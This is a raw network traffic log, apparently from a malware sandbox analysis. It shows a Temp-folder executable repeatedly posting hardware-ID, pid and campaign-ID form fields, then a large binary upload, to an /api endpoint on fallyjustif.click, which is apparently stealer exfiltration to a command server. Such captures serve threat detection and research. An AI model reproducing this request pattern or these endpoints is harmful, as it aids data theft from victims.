2025-01-03 14:22:21 UTC	15089	OUT	Data Raw: 2d 2d 30 47 31 51 54 48 55 38 47 4e 58 59 58 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 0d 0a 2d 2d 30 47 31 51 54 48 55 38 47 4e 58 59 58 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 47 31 51 54 48 55 38 47 4e 58 59 58 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 0d 0a 2d 2d 30 47 31 Data Ascii: --0G1QTHU8GNXYXKKContent-Disposition: form-data; name="hwid"8035F73EF50AEF55E3B04827AE549770--0G1QTHU8GNXYXKKContent-Disposition: form-data; name="pid"2--0G1QTHU8GNXYXKKContent-Disposition: form-data; name="lid"MeHdy4--pl1vs01--0G1
2025-01-03 14:22:22 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7qni0v0vhic66gubnad17mloq5; expires=Tue, 29 Apr 2025 08:09:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k96WJTi8tYntLU23RFzX6d%2BfDYWv6jgJEdoyGa2xUQU2Rk3AgPb0q8ifK32NSw6FvkUA%2FNDQUKOK4iXYSbo7XyR2OjBxs1m4hKCFwoibzj1BkOE08JIGPsZQMICiiRfi3odFsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a3fb9c39de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1573&rtt_var=600&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2842&recv_bytes=16027&delivery_rate=1809169&cwnd=212&unsent_bytes=0&cid=2523defa239837e5&ts=557&x=0"
2025-01-03 14:22:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:22:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50038	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:23 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PTYK12FE3QFO1POO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19953 Host: fallyjustif.click
2025-01-03 14:22:23 UTC	15331	OUT	Data Raw: 2d 2d 50 54 59 4b 31 32 46 45 33 51 46 4f 31 50 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 0d 0a 2d 2d 50 54 59 4b 31 32 46 45 33 51 46 4f 31 50 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 54 59 4b 31 32 46 45 33 51 46 4f 31 50 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 0d 0a 2d 2d Data Ascii: --PTYK12FE3QFO1POOContent-Disposition: form-data; name="hwid"8035F73EF50AEF55E3B04827AE549770--PTYK12FE3QFO1POOContent-Disposition: form-data; name="pid"3--PTYK12FE3QFO1POOContent-Disposition: form-data; name="lid"MeHdy4--pl1vs01--
2025-01-03 14:22:23 UTC	4622	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 Data Ascii: +?2+?2+?o?Mp5p_oI
2025-01-03 14:22:24 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=642qljalos5p2b2omk2rktkqd9; expires=Tue, 29 Apr 2025 08:09:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BKZzTviMD4ererTSzTdPmHKDmhRasabZRAtFXIr3xGgAPKW0awiiGZhYGzoQd163mZTT69e%2Bwh4BCVFe8TNFcsvuED%2FksUzp4eHBt7yNDmFEr4f32cndTh8K4qLPN%2Fjp0iln9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a404ffab43ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1599&rtt_var=602&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=20914&delivery_rate=1813664&cwnd=216&unsent_bytes=0&cid=52748d433ba6b8c2&ts=643&x=0"
2025-01-03 14:22:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:22:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50039	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:25 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8LTCCKZXZJA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1208 Host: fallyjustif.click
2025-01-03 14:22:25 UTC	1208	OUT	Data Raw: 2d 2d 38 4c 54 43 43 4b 5a 58 5a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 0d 0a 2d 2d 38 4c 54 43 43 4b 5a 58 5a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 4c 54 43 43 4b 5a 58 5a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 0d 0a 2d 2d 38 4c 54 43 43 4b 5a 58 5a 4a 41 0d 0a 43 6f Data Ascii: --8LTCCKZXZJAContent-Disposition: form-data; name="hwid"8035F73EF50AEF55E3B04827AE549770--8LTCCKZXZJAContent-Disposition: form-data; name="pid"1--8LTCCKZXZJAContent-Disposition: form-data; name="lid"MeHdy4--pl1vs01--8LTCCKZXZJACo
2025-01-03 14:22:25 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4if6t1hmshv3msvr0dpj2blm74; expires=Tue, 29 Apr 2025 08:09:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gZ2Juyq0%2B%2Bp3wqkS7uaUeIXyizRzIJF9mo0e398ithW%2FSioBfTbbtY9rjj45EFLtkm4KCiEkEOBJpTTmi%2BQUOwTld191uWqqRSMf%2BOEwy9JKiUSDlIq7UBpZRU9DFzzDYwba3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a40f3b525e78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1767&rtt_var=678&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2119&delivery_rate=1595628&cwnd=252&unsent_bytes=0&cid=71da38cc90213f92&ts=439&x=0"
2025-01-03 14:22:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:22:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50040	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:26 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M5PG5ENU5OSN9NG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572689 Host: fallyjustif.click
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 2d 2d 4d 35 50 47 35 45 4e 55 35 4f 53 4e 39 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 0d 0a 2d 2d 4d 35 50 47 35 45 4e 55 35 4f 53 4e 39 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 35 50 47 35 45 4e 55 35 4f 53 4e 39 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 0d 0a 2d 2d 4d 35 50 Data Ascii: --M5PG5ENU5OSN9NGContent-Disposition: form-data; name="hwid"8035F73EF50AEF55E3B04827AE549770--M5PG5ENU5OSN9NGContent-Disposition: form-data; name="pid"1--M5PG5ENU5OSN9NGContent-Disposition: form-data; name="lid"MeHdy4--pl1vs01--M5P
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 5e 83 ee 22 d1 9b a8 27 e0 91 6f 6e 62 5d 18 df de c9 1c 93 f3 7a a6 a6 17 1b 00 fb 52 11 0d 5b 96 59 58 ad 1f b9 29 29 da dc b5 9c 05 93 a8 63 b1 77 66 f6 b5 ea 43 e8 b9 f5 97 da 50 45 93 5f 22 e4 85 92 5a a0 27 21 e8 1e 97 ab bf 89 00 9c 4b d1 d2 de a3 9c c8 07 6a e6 a4 99 78 a7 47 c2 bb 81 94 2f f7 5d 55 93 80 1f a0 cd 0e 3b 04 c6 84 69 04 40 08 b0 ef 12 91 24 70 89 c8 07 d8 15 58 58 14 19 a1 7e 07 ba 71 05 50 ff 54 02 ec ee 79 bf 96 16 04 27 c3 af cb 78 ca a3 bf b9 39 6d 3d bb 98 5b 0d d0 cd ed b7 de 5d 67 3f 02 d4 86 90 ff 77 a1 cb ff 7d f8 03 e8 75 78 82 40 04 68 22 12 7b ab c0 d2 2a 0a 78 f5 ca e8 63 58 02 e0 d4 e2 5e 50 a2 5e 67 2f 56 ae 0e 12 c2 0b 24 f8 4d 5f eb f0 b0 3a 94 af 7a 00 d2 02 84 bd c4 67 8c c6 68 23 5e d1 7f 52 a4 6e ca 6f d8 ef a6 Data Ascii: ^"'onb]zR[YX))cwfCPE_"Z'!KjxG/]U;i@$pXX~qPTy'x9m=[]g?w}ux@h"{*xcX^P^g/V$M_:zgh#^Rno
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: af a5 a0 cc 0f b3 fb f6 27 f4 c8 f4 af af 2f 5d 37 8a f5 d7 2d cb a5 76 94 ad 49 7c 0a f7 79 16 17 1b bb ad ee 44 fc 1f f2 f6 55 08 f7 4a 8b 41 9d 67 f2 b2 bd 4d 49 ba eb c1 36 e4 45 15 dc 33 ca 04 e1 44 8b 89 d8 da a8 1c 15 ff 3e 9f 34 cb ef cd 0f 1e 2a 6b 43 1e 1d ed 33 75 43 6b 95 03 dc 89 57 0b df 06 22 c6 af 57 cd eb 06 cd be fb 50 19 b6 b0 93 f8 54 cb ef 61 5c a4 f5 00 06 86 23 1e d9 64 cc b4 19 72 11 41 5f 54 b2 cb bf 5d d2 08 cb 29 6c 8b 7e 13 24 4a 0e f2 e1 07 05 5b e6 6c 3d 00 88 1b 69 a4 1b b7 ff af 36 2a 46 2b 05 40 6e 25 c3 0c d0 6d fc b2 0a ba 7e df 84 38 a3 fb bf 87 18 46 22 c8 6f 05 80 21 1e 84 b5 85 bf e3 89 0e 02 d0 3d 88 98 fe 7f 35 b1 7e 06 f1 4d 16 4b f1 d1 a6 f2 58 85 66 1f 00 a7 72 8b 4d 4e fd 49 be 3d c7 f1 c2 b7 18 01 fd d6 e8 f2 Data Ascii: '/]7-vI\|yDUJAgMI6E3D>4kC3uCkW"WPTa\#drA_T])l~$J[l=i6F+@n%m~8F"o!=5~MKXfrMNI=
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 20 76 5e e8 f6 87 18 ee 7c 3b 07 7b de d0 a3 8b b1 7f fe d6 8b 51 e1 ea 89 a2 6c 92 82 d8 6b 47 fc cb 83 a6 87 0e 43 51 72 cb 95 45 ef 54 d9 71 8d 08 69 32 3d 9b 93 a3 38 eb c1 be 64 fb da 78 be e1 b7 77 7d 22 0c 89 2f 83 00 db 48 43 4f 80 da b8 35 0a b0 63 d8 81 d7 a3 94 ba 08 a1 1d 03 0e c8 ac 4f ff df 10 8a 56 5f 0c 9f 6d d4 0e 3f e8 15 0b 12 06 ed bb 71 65 8e e7 0e 06 57 de 5c 27 fd 83 69 ad f3 75 1f 93 24 06 6b 69 6c 9c b6 6e e1 3a ea a6 22 27 22 52 78 fe fc 04 60 a3 c5 21 8c a3 90 2b d2 83 42 1e 3b 3d 23 38 f4 43 94 7b 11 5b be 83 a4 86 da 84 f9 04 e6 e8 4d 98 e0 24 e8 4b a0 af 4e bc 4d 34 b9 23 15 24 fe 1b 8e 0d cd 93 79 1b ec 9b 96 1c ef b2 74 f5 32 a2 6a 94 8b c2 0b da c7 79 6f 71 57 0b 13 1e 3d 7c 95 9e 5d ad c7 b9 3b 2b 6d 4c 2d b8 15 3f 01 bc Data Ascii: v^\|;{QlkGCQrETqi2=8dxw}"/HCO5cOV_m?qeW\'iu$kiln:"'"Rx`!+B;=#8C{[M$KNM4#$yt2jyoqW=\|];+mL-?
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: b0 07 e5 ff 4c a4 92 cc 6f 7c 3f 1a 28 2c 5b 1b c9 e2 47 dc 13 dc db 96 20 bc d6 a1 cb 81 75 d9 56 7c 9b fc f2 e9 e5 53 b4 a4 27 bf 2a 7d bf ec a3 a7 f6 b5 34 b3 46 b9 f4 67 66 f3 94 94 5a 36 31 1a 11 58 25 d9 8a 07 4c 7c 10 e1 4d 90 18 66 3c 30 a9 5e 92 ca b1 bb dc 4f e9 17 f8 a9 cf 3f 19 2e 1b b4 af 4b b0 57 79 bd 51 2c f0 3c 5c 40 e4 21 0a 76 d5 05 8e d4 79 4d d3 67 9e bf a2 f6 8e 9b a5 98 80 c9 a7 86 4a 6f 14 c3 42 e0 78 67 08 eb 25 2d 50 80 b6 9c 80 10 23 06 ce 8c 03 e0 bd 40 ec 07 7c e4 ee 74 19 b1 df 61 47 64 91 e7 24 c1 73 a3 0d dd b0 2d ce 77 15 2b 8a dc 6b 08 ce 67 97 f8 b7 de 90 57 e2 f7 15 9c e8 9b b5 b4 30 42 ae 66 f0 b4 e8 cd e3 f1 1b 58 21 07 9a 22 1b 10 5a fe 7e 9b d5 a3 49 51 9b 76 72 64 5e f9 1e fa e1 6f 1c 5a dc 67 a9 b7 5b 87 c8 89 f5 Data Ascii: Lo\|?(,[G uV\|S'*}4FgfZ61X%L\|Mf<0^O?.KWyQ,<\@!vyMgJoBxg%-P#@\|taGd$s-w+kgW0BfX!"Z~IQvrd^oZg[
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 31 37 4b 48 44 61 5f 8b d7 f2 af bf 8e 72 76 3c e3 ec b6 26 c2 cf 7b 55 40 e2 77 90 d8 11 b9 5f c9 85 e4 a3 b1 b3 d3 0c 82 15 f3 09 06 ac e9 ac 57 b9 23 12 27 f3 1f df 92 4a a1 67 51 09 a9 dc d9 6e c4 54 64 76 84 ec 49 44 ae 73 61 6f c8 f3 4f 09 67 5a 92 78 6b 15 37 f1 03 45 b7 f0 03 39 b1 94 52 e2 97 46 f2 5c 09 da bf d0 9f ac ba 68 3c c5 d0 b3 89 fc c1 ff 56 56 e3 ee 4d 73 39 5b 17 8e 74 91 b8 43 70 8c be 91 0f b3 f7 1e 8e a2 a7 c1 3c be 25 39 ce da 3f 11 c5 da cb a1 c3 5e 62 8e e0 c6 fc 90 97 1d f3 06 3f 30 e8 17 7d b0 31 51 da ea d5 44 d7 f9 0f 82 f5 31 7c 65 99 49 c1 3d bc b2 7d 36 e8 0d 95 24 d7 56 6a f7 c0 22 b3 fb 20 1e e8 88 90 ae 0d b7 da cd 3e 56 ec a8 18 cd ab 6c 3c 0c a4 52 d3 ae 76 9e fb 42 e3 c8 25 12 95 d9 66 b7 06 b5 fa 4c 44 c6 77 77 22 Data Ascii: 17KHDa_rv<&{U@w_W#'JgQnTdvIDsaoOgZxk7E9RF\h<VVMs9[tCp<%9?^b?0}1QD1\|eI=}6$Vj" >Vl<RvB%fLDww"
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 2a a6 8e e8 03 0a ef e6 6a bd 77 04 10 ec e5 46 e3 9f ab 85 e1 bf a1 f1 8f 47 e3 f3 f4 7c b6 a7 06 6a 93 b9 0b 16 e4 3d 66 95 56 46 36 df 14 09 9a 6d 14 5e b5 b5 90 d4 f1 8a 10 a5 fa c7 ea f6 fc 40 e0 5c b9 6f 57 99 8f 7e 99 16 ec c0 aa e0 65 a4 60 d8 5d e7 93 40 f2 05 a2 d2 28 5e 28 17 d4 b9 cc e4 a7 ee 64 75 7b 73 dc e5 56 d1 43 d2 9e 14 01 61 95 bb 10 76 e1 ea eb a6 5b e0 8c 9f 71 73 56 1e 41 4a 60 34 42 68 ab 57 1c ae 19 43 de 3a 34 35 4b b4 6e 78 36 b9 70 1a 48 4d cc 0b d0 04 50 f7 7e d6 eb f5 f7 39 4b 07 a8 5a 64 c3 ca ad 73 59 a7 e5 b8 0e 2e ed 68 20 55 da 19 dc 8b 4d e5 70 59 9a f5 67 14 db 6a ee 07 e1 27 59 0f 72 02 5a 45 65 ef b3 ba 0f 8a de 44 01 bf d9 1e 55 7a 83 2c d3 a3 03 a2 55 0e b1 0e 9b 97 e9 6d f2 2f ac 7e d6 9a 59 74 96 04 7a cf 11 c4 Data Ascii: *jwFG\|j=fVF6m^@\oW~e`]@(^(du{sVCav[qsVAJ`4BhWC:45Knx6pHMP~9KZdsY.h UMpYgj'YrZEeDUz,Um/~Ytz
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 2a ff 2a 18 bf 68 98 a2 d6 83 18 72 02 05 fe a6 a2 73 07 61 45 4f 09 cf 47 d3 3d 09 e9 0c 1b 2f d1 b3 2c ca 45 c7 b1 ba 9d 2e bf 77 b8 2d 1c 43 6d db 0d 07 3b 2b 12 c0 a3 90 75 37 d4 59 70 91 df 5d 11 65 31 f0 2d 0e 39 00 6f 59 ba 1f e4 23 81 92 c6 42 8f d6 bd e0 13 46 23 1a 95 d5 1d dc b2 b5 d6 2f 10 7d 27 b7 eb 4c 6d 4d 53 e5 83 5a 21 a0 c6 f1 30 ab 30 90 c5 79 e2 75 77 0b ba 56 3f 72 16 e4 85 a5 4a b4 8d d1 1c e3 3d 54 47 13 5a 0e 12 14 b2 62 77 0e 88 9d ba 1d 23 ad 2c f2 81 1b 11 2e c6 c6 45 a8 e3 c8 1a 03 f5 46 5b 9b 8d 73 fe 15 f1 7f 5d 53 dc e1 29 f9 70 9b 04 83 59 d4 5e 2f a6 4c 7f 2c 01 f6 2c f2 64 20 ca 5a 9f a9 51 9b e5 53 e5 76 bf db 96 c7 0b 52 72 8e 7f 17 84 17 c2 2e cf 95 11 9a 4a a1 2d 95 d7 17 6f 4d 39 8c c7 57 46 7f 22 95 7d a9 7f 26 18 Data Ascii: **hrsaEOG=/,E.w-Cm;+u7Yp]e1-9oY#BF#/}'LmMSZ!00yuwV?rJ=TGZbw#,.EF[s]S)pY^/L,,d ZQSvRr.J-oM9WF"}&
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 9c 94 06 dd 81 6b f9 2c ce 69 17 b5 19 d3 e8 23 ff 5f 5e 97 d8 51 fd 47 c3 71 ab 0b 6e 5d 8f 3e af 00 24 76 49 bd 87 20 4a 7e 21 11 55 d4 0a e5 b6 c6 32 0a d6 55 b1 7b d9 cc 4e 9f 81 86 95 11 cc 4a 3b ed 40 03 83 b8 47 92 cc 96 b2 d3 bc ba 30 25 f6 eb b8 2a 3d 02 49 08 1b b9 29 89 3a 62 95 0b 63 fc 69 be 5b 04 91 45 05 b2 43 41 02 d4 95 3f e5 c0 33 08 18 a3 63 94 50 e0 59 b1 dd c9 91 a9 7d 7b e2 26 c0 93 4d 5c f3 95 5e 1d 40 24 93 a1 3f 76 9f 95 a8 e1 c9 5f 51 d9 74 fc c1 f6 19 a0 95 4b 6f 9b e9 74 15 e6 83 06 f6 4b 95 74 03 b4 d8 36 e5 37 c7 eb a6 50 6f 4e 61 e4 1f 33 f6 8b a6 63 03 c1 c5 b9 9c 33 54 b8 62 85 17 8b eb 84 71 f4 e6 af 14 2a 57 1c 84 c7 9c da 30 ef c9 79 38 1d e5 2c 71 4e a3 1e 29 c7 8c 51 f8 35 4d 5a 1b a2 6e 9b 28 93 20 d7 ec 6d 17 6f 87 Data Ascii: k,i#_^QGqn]>$vI J~!U2U{NJ;@G0%=I):bci[ECA?3cPY}{&M\^@$?v_QtKotKt67PoNa3c3TbqW0y8,qN)Q5MZn( mo
2025-01-03 14:22:26 UTC	15331	OUT	Data Raw: 11 4f 37 67 27 c2 a3 4c ca 45 79 76 5f fa b4 37 eb 76 0a 5b 60 de dd 4b 56 37 a8 2b 6e ca aa cb 3d ac e3 4c e1 db f3 9f ff 84 5f b3 28 6c 7f 54 35 6f 15 33 b4 ef d3 27 39 7f 1f 13 1d 51 46 af df a9 d5 dc 64 ee 4f b2 7f 4c 5d 4b f5 be 68 08 98 3e b9 29 65 d3 5b 66 b7 9a e0 5a 78 e6 8b 15 d6 a3 61 b3 1a f9 49 f6 e9 c7 b0 c6 1c ed f5 80 07 31 e6 49 13 0c af 2a 2f 00 1f 5d b7 43 30 a7 b9 34 93 10 30 27 d8 2d 4d 8d 45 a9 ae 92 db 8a 8d f9 dd 62 dc 1f 5e e5 d1 e3 3f 15 3f c6 52 f0 24 42 67 f0 ca db 68 7b 32 99 e7 87 a3 0a c8 a4 b7 95 21 f3 97 9b 25 2d 93 b0 8d 16 1e ae ba e3 df e5 2a 02 6b 35 7e ef 5f 6a f2 d8 bf 8f 77 dd 4e af 8e ed 25 33 92 ef 1a 46 c0 11 72 b9 c5 5d f9 21 ef ac ea 8a 83 53 e1 ef ea ef e2 90 5b 95 db 24 5d 04 ea c2 17 b6 8a 00 7a 58 8a 41 46 Data Ascii: O7g'LEyv_7v[`KV7+n=L_(lT5o3'9QFdOL]Kh>)e[fZxaI1I/]C040'-MEb^??R$Bgh{2!%-k5~_jwN%3Fr]!S[$]zXAF
2025-01-03 14:22:32 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u1qn7g9in7mtils34n37mn1413; expires=Tue, 29 Apr 2025 08:09:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuT4Ycwn2ETTJeQHD1HunO%2FF%2BK9BOCFnQ0Z0SwLd3kYJksW2Mm5ftwNSxHgNg6QkrzoM6rpScMzbGEiMtEFCAlanGL0xuBNAw3U6yztF%2Fsi3twt717oywY2zSftiyDZz6hNGoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a419695042dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1713&rtt_var=653&sent=196&recv=589&lost=0&retrans=0&sent_bytes=2842&recv_bytes=575234&delivery_rate=1662870&cwnd=251&unsent_bytes=0&cid=e88718a57b079885&ts=5827&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50041	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
